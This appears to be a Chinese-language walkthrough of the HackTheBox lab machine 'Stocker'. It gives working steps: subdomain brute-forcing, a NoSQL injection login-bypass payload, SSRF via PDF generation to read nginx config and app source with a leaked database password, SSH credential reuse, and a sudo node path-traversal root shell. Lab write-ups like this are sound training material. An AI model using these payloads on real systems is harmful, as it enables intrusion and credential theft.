Stocker
攻击机:kali
靶机ip:10.10.11.196
信息收集
端口扫描
nmap -sV -p-10000 10.10.11.196
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
目录扫描
python3 dirsearch.py -u http://stocker.htb/
发现什么都没有。
那么这个时候转变思路。去找子域名。利用gobuster爆破子域名
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
漏洞探测
前面找到了login页面。进入查看一下。
发现登不上。思考了一下应该是域名没解析的问题
ehco "dev.stocker.htb 10.10.11.196">>/etc/hosts
成功进入登录页面。尝试万能密码失败。管他的。先弱密码跑起来再去找其他东西。
弱密码失败。
Nosql注入绕过登录验证
我们登录页面还发现了这里是一个expree的node.js框架。
而结合这里是一个登录页面。那么应该存在的漏洞无非就是弱口令或者sql注入。
通过node.js和sql注入上网搜索。没什么结果。
测试后发现这里是一个Nosql的数据库。那么nosql的bypass方式如下。
https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass书签:[NoSQL injection](https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass)
通过抓包改包成功登录后台。
payload:
{"username":{"$ne": "x"},"password":{"$ne": "y"}}
功能点很少。
PDF SSRF
这里进入订单页面发现是一个pdf。想到了之前的一个pdf漏洞。操作一下。
这里看到有点东西。
抓包一下发现就这里有点东西了。
通过改包测试
https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/书签:[SSRF Through PDF Generation](https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/)
既然这里存在ssrf了。那么可以读取一些敏感文件。首先思考到index.html是自带的不用去读。
那么我们尝试读一下nginx的配置文件.
file:///etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml
application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
server {
listen 80;
root /var/www/dev;
index index.html index.htm index.nginx-debian.html;
可以看到这里的路径为/var/www/dev。我们从这里面去尝试读一些文件。
因为这里是一个node.js写的网站。那么就应该会存在index.js这样的文件
file:///var/www/dev/index.js
const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");
const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(
session({
secret: randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: true,
store: MongoStore.create({
mongoUrl: dbURI,
}),
})
);
app.use("/static", express.static(__dirname + "/assets"));
app.get("/", (req, res) => {
return res.redirect("/login");
});
app.get("/api/products", async (req, res) => {
if (!req.session.user) return res.json([]);
const products = await mongoose.model("Product").find();
return res.json(products);
});
app.get("/login", (req, res) => {
if (req.session.user) return res.redirect("/stock");
return res.sendFile(__dirname + "/templates/login.html");
});
app.post("/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) return res.redirect("/login?error=login-error");
// TODO: Implement hashing
const user = await mongoose.model("User").findOne({ username, password });
if (!user) return res.redirect("/login?error=login-error");
req.session.user = user.id;
console.log(req.session);
return res.redirect("/stock");
});
app.post("/api/order", async (req, res) => {
if (!req.session.user) return res.json({});
if (!req.body.basket) return res.json({ success: false });
这里我们拿到了数据库的登录凭证。加上之前再/etc/passwd里面获取到的用户名。
进行撞库ssh登录。
angoose:IHeardPassphrasesArePrettySecure
成功登录上。
提权
cat user.txt
64e161a4a5004d3a12cd4e6d266489a6
提权信息收集
sudo -l
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
这里看见可以 以root再/usr/local/scripts/目录下对*.js执行node命令。
ls -al
drwxr-xr-x 4 angoose angoose 4096 Mar 3 02:25 .
drwxr-xr-x 3 root root 4096 Dec 23 16:39 ..
lrwxrwxrwx 1 root root 9 Dec 6 09:54 .bash_history -> /dev/null
-rw-r--r-- 1 angoose angoose 220 Dec 6 09:53 .bash_logout
-rw-r--r-- 1 angoose angoose 3771 Dec 6 09:53 .bashrc
drwx------ 2 angoose angoose 4096 Mar 2 08:48 .cache
-rw-rw-r-- 1 angoose angoose 67 Mar 2 09:50 cat_flag.js
-rw-rw-r-- 1 angoose angoose 138 Mar 3 02:22 flag.js
drwxrwxr-x 3 angoose angoose 4096 Mar 2 11:29 .local
-rw-r--r-- 1 angoose angoose 807 Dec 6 09:53 .profile
-rw-r----- 1 root angoose 33 Mar 2 08:36 user.txt
-rw------- 1 angoose angoose 2465 Mar 2 18:22 .viminfo
cat cat_flag.js
process.stdout.write(require("fs").readFileSync("/root/root.txt"))
cat flag.js
const fs = require(‘fs’);
fs.readFile(‘/root/root.txt’, ‘utf8’, (err, data) => {
if (err) throw err;
console.log(data);
});
收集到这里差不多应该知道怎么提权了。
目录遍历提权
首先我们可以在/usr/local/srcipts下以root运行js文件。
但是当前用户对该目录没有写权限。这时候我们可以通过目录遍历来绕过目录限制。
在当前目录下创建一个test.js
require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})
然后运行
sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/test.js
成功提权。
cat /root/root.txt
06e8808600c78a8aafaa44a3b8b18cb0
总结
端口扫描→发现web服务
目录扫描→未发现利用→子域名扫描→发现新的子域名
子域名存在登陆点→sql注入→NOSQL登陆验证bypass
测试功能点→存在自动生成pdf→pdf_ssrf
ssrf读取敏感文件→获取敏感信息→撞库获取初级shell
sudo -l→存在root运行的应用程序→目录遍历提权
原文始发于微信公众号(IRTeam工业安全):Hackthebox——Stocker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论